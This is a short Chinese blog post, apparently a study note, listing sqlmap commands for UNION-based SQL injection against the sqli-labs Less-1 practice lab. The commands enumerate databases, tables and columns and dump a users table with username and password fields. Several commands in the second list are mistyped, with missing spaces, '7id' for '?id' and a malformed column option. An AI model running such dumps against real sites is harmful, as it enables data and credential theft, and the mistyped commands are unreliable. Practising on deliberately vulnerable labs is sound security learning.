使用sqlmap进行联合查询注入要点

sqlmap -u "http://192.168.1.117/sqli-labs/Less-1/?id=1" --technique=U --dbs

-u <目标URL>:指定目标 URL(包括注入点)。
--technique=U:告诉 sqlmap 使用 UNION 注入技术(U 代表 UNION)。
--dbs:列出所有数据库。

执行后,sqlmap 会尝试使用 UNION 注入获取数据库列表。如果成功,它将列出数据库的名称。


sqlmap -u "http://192.168.1.117/sqli-labs/Less-1/?id=1" --current-db

该命令会直接返回当前数据库名称,无需额外的手动注入。

sqlmap -u "http://192.168.1.117/sqli-labs/Less-1/?id=1" -D security --tables

查询当前使用数据库security下的表名

sqlmap -u "http://192.168.1.117/sqli-labs/Less-1/?id=1" -D security -T users --columns

查询security数据库users表下有什么列名

sqlmap -u "http://192.168.1.117/sqli-labs/Less-1/?id=1" -D security -T users --dump

把security数据库users表下详细信息列出来

sqlmap使用(仅仅读取数据):
1,获取当前所有数据库
sqlmap-u "http://hei.me/sqL-labs-master/Less-1/?id=1"--dbs --batch
2,获取当前数据库a中的所有表
sqlmap -u "http://hei.me/sqli-labs-master/Less-1/?id=1"-D a --tables --batch
3,获取数据库a中的b表的所有列
sqlmap-u"http://hei.me/sqLi-labs-master/Less-1/7id=1"-D a -T b --columns -batch
4,获取数据库a中的b表的c列的的数据
sqlmap -u "http://hei.me/sqli-labs-master/Less-1/7id=1" -D a -T b -C c username,password --dump--batch

posted on 2024-12-20 20:07  Ad1ey  阅读(5)  评论(0编辑  收藏  举报